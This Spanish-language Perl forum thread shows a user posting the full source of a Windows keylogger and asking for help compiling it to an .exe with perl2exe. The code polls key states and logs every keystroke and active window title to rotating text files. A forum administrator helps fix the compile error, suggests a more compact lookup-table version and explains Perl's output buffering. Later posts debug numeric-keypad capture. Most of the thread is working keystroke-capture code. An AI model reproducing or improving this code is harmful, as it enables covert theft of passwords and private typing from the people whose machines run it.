• Publicidad

Error en compilación con perl2exe

¿Apenas comienzas con Perl? En este foro podrás encontrar y hacer preguntas básicas de Perl con respuestas aptas a tu nivel.

Error en compilación con perl2exe

Notapor BigBear » 2012-07-21 21:33 @940

Tengo el siguiente código

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
  2. use Win32::API;
  3. use Switch;
  4.  
  5. Win32::API->Import('user32', 'GetKeyState', 'I', 'I');
  6.  
  7. sub GetCapsLock {
  8.   GetKeyState(0x14) & 1;
  9. }
  10.  
  11. sub GetNumLock {
  12.   GetKeyState(0x90) & 1;
  13. }
  14.  
  15. sub GetScrollLock {
  16.   GetKeyState(0x91) & 1;
  17. }
  18.  
  19. sub SetCapsLock {}   # Not yet implemented
  20.  
  21. sub SetNumLock {}    # Not yet implemented
  22.  
  23. sub SetScrollLock {} # Not yet implemented
  24.  
  25. while(1){
  26.  
  27.     if(-s OUT >= 1048576){
  28.                 close(OUT);
  29.                 #$I++;
  30.                 open (OUT, ">>outkey$I.txt") || die "could not create test.out - $!";
  31.         }
  32.        
  33.        
  34.         if(GetKeyState(20)==0){$caps=32;$ced=0;}else{$caps=0;$ced=7;} #checks the state of CAPSLOOK.
  35.                 for(8,9,13,16,32,187..193,219..222,226){
  36.                         $i = $_;
  37.                         if(GetAsyncKeyState($i) == -32767){
  38.                                 switch($i){
  39.                                         case 8      {LOG ("\b")}
  40.                                         case 9      {LOG ("\t")}
  41.                                         case 13     {LOG ("\n")}
  42.                                         case 16     {callSHIFT()} # call sub callSHIFT.
  43.                                         case 32     {LOG(' ')}
  44.                                         case 187    {LOG('=')}
  45.                                         case 188    {LOG(',')}
  46.                                         case 189    {LOG('-')}
  47.                                         case 190    {LOG('.')}
  48.                                         case 191    {LOG(';')}
  49.                                         case 192    {LOG('\'')}
  50.                                         case 193    {LOG("/")}
  51.                                         case 219    {LOG('\\\'')} # (´)
  52.                                         case 220    {LOG(']')}
  53.                                         case 221    {LOG('[')}
  54.                                         case 222    {LOG('~')}
  55.                                         case 226    {LOG('\\')}
  56.                                 }
  57.                         }
  58.                 }
  59.        
  60.         for($i=48;$i<=57;$i++){ # Numbers 0-9.
  61.                 if (GetAsyncKeyState($i) == -32767){
  62.                         LOG(chr($i));
  63.                 }
  64.         }
  65.  
  66.         CHR($caps,$ced);
  67.         #usleep(1000); # reduces consumption of CPU.
  68. }
  69.  
  70. sub callSHIFT {
  71.         $shift = 1;
  72.         while($shift == 1){
  73.                 for(48..57,187..193,219..222,226){
  74.                         $i = $_;
  75.                         if(GetAsyncKeyState($i) == -32767){
  76.                                 switch ($i){
  77.                                         case 48     {LOG(')')}
  78.                                         case 49     {LOG('!')}
  79.                                         case 50     {LOG('@')}
  80.                                         case 51     {LOG('#')}
  81.                                         case 52     {LOG('$')}
  82.                                         case 53     {LOG('%')}
  83.                                         case 54     {LOG('¨')}
  84.                                         case 55     {LOG('&')}
  85.                                         case 56     {LOG('*')}
  86.                                         case 57     {LOG('(')}
  87.                                         case 187    {LOG('+')}
  88.                                         case 188    {LOG('<')}
  89.                                         case 189    {LOG('_')}
  90.                                         case 190    {LOG('>')}         
  91.                                         case 191    {LOG(':')}
  92.                                         case 192    {LOG('"')}         
  93.                                         case 193    {LOG('?')}
  94.                                         case 219    {LOG('/\'')} # (`)
  95.                                         case 220    {LOG('}')}
  96.                                         case 221    {LOG('{')} 
  97.                                         case 222    {LOG('^')}
  98.                                         case 226    {LOG('|')}
  99.                                 }
  100.                         }
  101.                 }
  102.                 CHR(0,7);
  103.                 if(!GetAsyncKeyState(16) == 1){ $shift = 0; } # checks the state of SHIFT.
  104.     }
  105. }
  106.  
  107. sub CHR {
  108.         $caps = shift;
  109.         $ced  = shift;
  110.         for($i=65;$i<=90;$i++){
  111.                 if(GetAsyncKeyState($i) == -32767){
  112.                         LOG(chr($i+$caps));
  113.                 } # letters a-z A-Z
  114.     }
  115.        
  116.         if(GetAsyncKeyState(186)== -32767){
  117.                 LOG (chr(135-$ced));
  118.         } # Cedilha Ç,ç
  119.        
  120.         #usleep(1000) # reduces consumption of CPU.
  121. }
  122.  
  123. sub LOG {
  124.         $LOG = shift;
  125.         print $LOG;
  126.         print OUT $LOG;
  127. }
Coloreado en 0.004 segundos, usando GeSHi 1.0.8.4


Cuando lo compilo a exe con perl2exe me dice este error:

Sintáxis: [ Descargar ] [ Ocultar ]
Using text Syntax Highlighting
Semicolon seems to be missing at C:\Perl\exe\grasa.exe line 13.
Number found where operator expected at C:\Perl\exe\grasa.exe line 17, near "n3"

        (Missing semicolon on previous line?)
Number found where operator expected at C:\Perl\exe\grasa.exe line 18, near "2"
        (Missing semicolon on previous line?)
Coloreado en 0.000 segundos, usando GeSHi 1.0.8.4


¿Qué estoy haciendo mal ?
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Publicidad

Re: Error en compilación con perl2exe

Notapor explorer » 2012-07-22 05:31 @271

No uses el módulo Switch. Está lleno de errores. Tantos, que ha sido eliminado de los últimas distribuciones de Perl. Es mejor usar el foreach/when que existe a partir de Perl v5.10. En perlsyn tienes más opciones para ponerlo de otras maneras (given/when corre riesgo de desaparecer, también, así que al final queda for/when).

Como este módulo hace un filtrado del código fuente, es muy posible que esté desplazando la línea donde ocurre el error. El aviso de "n3" suena a que ocurre en medio de un "Win32", lo cual es absurdo. Pero con Switch todo es posible.

Quítalo.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14486
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Error en compilación con perl2exe

Notapor BigBear » 2012-07-22 08:36 @400

Costó pero lo logré fixear ( ¿ es correcto ese termino ? )

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);;
  2. use Win32::API;
  3.  
  4. Win32::API->Import( 'user32', 'GetKeyState', 'I', 'I' );
  5.  
  6. sub GetCapsLock {
  7. GetKeyState(0x14) & 1;
  8. }
  9.  
  10. sub GetNumLock {
  11. GetKeyState(0x90) & 1;
  12. }
  13.  
  14. sub GetScrollLock {
  15. GetKeyState(0x91) & 1;
  16. }
  17.  
  18. sub SetCapsLock { }    # Not yet implemented
  19.  
  20. sub SetNumLock { }     # Not yet implemented
  21.  
  22. sub SetScrollLock { }  # Not yet implemented
  23.  
  24. my ( $caps, $ced, $i, $I, $shift, $window, $window0, $LOG );
  25.  
  26. $I      = 0;
  27. $window = 0;
  28.  
  29. open( OUT, ">>outkey" . $I . ".txt" )
  30.   || die "could not create test.out - $!";    # out
  31.  
  32.  
  33. while (1) {
  34.  
  35. if ( -s OUT >= 1048576 ) {
  36. close(OUT);
  37. $I++;
  38. open( OUT, ">>outkey$I.txt" ) || die "could not create test.out - $!";
  39. }
  40.  
  41. $window0 = GetForegroundWindow();    # capture the active window title.
  42. if ( $window0 != $window ) {
  43. $window = $window0;
  44. LOG( GetWindowText($window) . "\n" );
  45. }
  46.  
  47. if ( GetKeyState(20) == 0 ) { $caps = 32; $ced = 0; }
  48. else { $caps = 0; $ced = 7; }        #checks the state of CAPSLOOK.
  49. for ( 8, 9, 13, 16, 32, 187 .. 193, 219 .. 222, 226 ) {
  50. $i = $_;
  51. if ( GetAsyncKeyState($i) == -32767 ) {
  52.  
  53.  
  54. if($i eq "8") { LOG("\b") }
  55. if($i eq "9")   { LOG("\t") }
  56. if($i eq "13")  { LOG("\n") }
  57. if($i eq "16") { callSHIFT() }             # call sub callSHIFT.
  58. if($i eq "32") { LOG(' ') }
  59. if($i eq "187") { LOG('=') }
  60. if($i eq "188") { LOG(',') }
  61. if($i eq "189") { LOG('-') }
  62. if($i eq "190") { LOG('.') }
  63. if($i eq "191") { LOG(';') }
  64. if($i eq "192")  { LOG('\'') }
  65. if($i eq "193") { LOG("/") }
  66. if($i eq "219")  { LOG('\\\'') }             # (´)
  67. if($i eq "220")  { LOG(']') }
  68. if($i eq "221") { LOG('[') }
  69. if($i eq "222")  { LOG('~') }
  70. if($i eq "226")  { LOG('\\') }
  71.  
  72. }
  73. }
  74.  
  75. for ( $i = 48 ; $i <= 57 ; $i++ ) {    # Numbers 0-9.
  76. if ( GetAsyncKeyState($i) == -32767 ) {
  77. LOG( chr($i) );
  78. }
  79. }
  80.  
  81. CHR( $caps, $ced );
  82.                          # reduces consumption of CPU.
  83. }
  84.  
  85.  
  86. sub callSHIFT {
  87. $shift = 1;
  88. while ( $shift == 1 ) {
  89. for ( 48 .. 57, 187 .. 193, 219 .. 222, 226 ) {
  90. $i = $_;
  91. if ( GetAsyncKeyState($i) == -32767 ) {
  92.  
  93.  
  94. if($i eq "48")  { LOG(')') }
  95. if($i eq "47") { LOG('!') }
  96. if($i eq "50")  { LOG('@') }
  97. if($i eq "51")   { LOG('#') }
  98. if($i eq "52")  { LOG('$') }
  99. if($i eq "53") { LOG('%') }
  100. if($i eq "54")   { LOG('¨') }
  101. if($i eq "55")   { LOG('&') }
  102. if($i eq "56")   { LOG('*') }
  103. if($i eq "57")   { LOG('(') }
  104. if($i eq "187")  { LOG('+') }
  105. if($i eq "188")  { LOG('<') }
  106. if($i eq "189") { LOG('_') }
  107. if($i eq "190")  { LOG('>') }
  108. if($i eq "191") { LOG(':') }
  109. if($i eq "192")  { LOG('"') }
  110. if($i eq "193")  { LOG('?') }
  111. if($i eq "291") { LOG('/\'') }    # (`)
  112. if($i eq "220") { LOG('}') }
  113. if($i eq "221")  { LOG('{') }
  114. if($i eq "222") { LOG('^') }
  115. if($i eq "226")  { LOG('|') }
  116.  
  117. }
  118. }
  119. CHR( 0, 7 );
  120. if ( !GetAsyncKeyState(16) == 1 ) { $shift = 0; }   # checks the state of SHIFT.
  121. }
  122. }
  123.  
  124. sub CHR {
  125. $caps = shift;
  126. $ced  = shift;
  127. for ( $i = 65 ; $i <= 90 ; $i++ ) {
  128. if ( GetAsyncKeyState($i) == -32767 ) {
  129. LOG( chr( $i + $caps ) );
  130. }                                                   # letters a-z A-Z
  131. }
  132.  
  133. if ( GetAsyncKeyState(186) == -32767 ) {
  134. LOG( chr( 135 - $ced ) );
  135. }    
  136.  
  137.   # reduces consumption of CPU.
  138. }
  139.  
  140. sub LOG {
  141. $LOG = shift;
  142. print $LOG;
  143. print OUT $LOG;
  144. }
  145.  
Coloreado en 0.004 segundos, usando GeSHi 1.0.8.4
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Re: Error en compilación con perl2exe

Notapor explorer » 2012-07-22 10:35 @483

Doddy escribiste:Costó pero lo logré fixear ( ¿ es correcto ese termino ? )
Obviamente, no.

Literalmente, se podría traducir por 'fijar', pero 'arreglar' es más claro y conocido.

Códigos como este
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. for ( 8, 9, 13, 16, 32, 187 .. 193, 219 .. 222, 226 ) {
  2.     $i = $_;
  3.     if ( GetAsyncKeyState($i) == -32767 ) {
  4.         if ( $i eq "8" )   { LOG("\b") }
  5.         if ( $i eq "9" )   { LOG("\t") }
  6.         if ( $i eq "13" )  { LOG("\n") }
  7.         if ( $i eq "16" )  { callSHIFT() }    # call sub callSHIFT.
  8.         if ( $i eq "32" )  { LOG(' ') }
  9.         if ( $i eq "187" ) { LOG('=') }
  10.         if ( $i eq "188" ) { LOG(',') }
  11.         if ( $i eq "189" ) { LOG('-') }
  12.         if ( $i eq "190" ) { LOG('.') }
  13.         if ( $i eq "191" ) { LOG(';') }
  14.         if ( $i eq "192" ) { LOG('\'') }
  15.         if ( $i eq "193" ) { LOG("/") }
  16.         if ( $i eq "219" ) { LOG('\\\'') }    # (´)
  17.         if ( $i eq "220" ) { LOG(']') }
  18.         if ( $i eq "221" ) { LOG('[') }
  19.         if ( $i eq "222" ) { LOG('~') }
  20.         if ( $i eq "226" ) { LOG('\\') }
  21.     }
  22. }
Coloreado en 0.002 segundos, usando GeSHi 1.0.8.4
se pueden abreviar mucho:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. my %scan_to_codes = (
  2.     8   => "\b",
  3.     9   => "\t",
  4.     13  => "\n",
  5. );
  6. for my $i ( sort { $a <=> $b } keys %scan_to_codes ) {
  7.     if ( GetAsyncKeyState($i) == -32767 ) {
  8.         if ( $i == 16 )  {   # excepción
  9.             callSHIFT();     # call sub callSHIFT
  10.         }
  11.         elsif ( $scan_to_codes{$i} ) {
  12.             LOG($scan_to_codes{$i});
  13.         }
  14.     }
  15. }
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4

Esperar por la pulsación de una determinada tecla está bien si necesitas un control total del teclado, pero si solo necesitas saber qué carácter (no tecla) ha pulsado el usuario, te vale con usar un módulo que devuelva ese carácter (no tecla). Así no hace falta saber si tiene pulsado además la tecla mayúsculas, la de control, la alternativa, o la meta-tecla. O una combinación de éstas. O si ya estaba pulsada la tecla de fija-mayúsculas... O peor aún: tiene configurada una distribución del teclado distinta.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14486
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Error en compilación con perl2exe

Notapor BigBear » 2012-07-22 14:11 @633

En el código se usa $|++ para que el código esté siempre activo.

¿ Me podrías explicar qué es y qué otras alternativas tengo para no usarlo ?
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Re: Error en compilación con perl2exe

Notapor explorer » 2012-07-22 14:44 @655

La variable especial $| es la que indica si está activado o no el caché en el búfer de salida estándar.

Si está puesto a cero, el caché está activado. La salida efectiva de la salida estándar se produce cada vez que el búfer se llena o cuando se cierra el canal.

Si está puesto a un valor distinto de cero, el caché está desactivado, por lo que toda salida de la salida estándar se produce de forma inmediata.

Más información en tu propio ordenador en perldoc perlvar, y en la Web.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14486
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Error en compilación con perl2exe

Notapor BigBear » 2012-07-22 15:00 @666

Yo tenía pensado portabilizar el programa en una función para un programa aparte, ¿ no voy a tener ningún problema en el programa aparte si $| está activo ?
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Re: Error en compilación con perl2exe

Notapor explorer » 2012-07-22 15:21 @681

Hummm... ¿has entendido para qué sirve?
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14486
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Re: Error en compilación con perl2exe

Notapor BigBear » 2012-07-22 15:22 @682

Sí, ignora la última pregunta. :D
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Re: Error en compilación con perl2exe

Notapor BigBear » 2012-07-23 17:32 @772

Perdón por el doble post pero no me reconoce el 0.

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
  1. for my $i(96..105) {    # Numbers 0-9. DERECHA
  2.  
  3. my %numeros_derecha = (
  4. 96  => "0",
  5. 97  => "1",
  6. 98  => "2",
  7. 99  => "3",
  8. 100 => "4",
  9. 101 => "5",
  10. 102 => "6",
  11. 103 => "7",
  12. 104 => "8",
  13. 105 => "9"
  14. );
  15.  
  16. for my $i ( sort { $a <=> $b } keys %numeros_derecha) {
  17. unless( GetAsyncKeyState($i) ne -32767 ) {
  18.  
  19. if($numeros_derecha{$i}) {
  20. print $numeros_derecha{$i};
  21. #LOG($numeros_derecha{$i},"asinoma");
  22. }
  23.  
  24. }
  25. }
  26.  
  27. }
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


¿ Hay algo mal en el código ?
BigBear
Perlero frecuente
Perlero frecuente
 
Mensajes: 981
Registrado: 2009-03-01 18:39 @818

Siguiente

Volver a Básico

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado

cron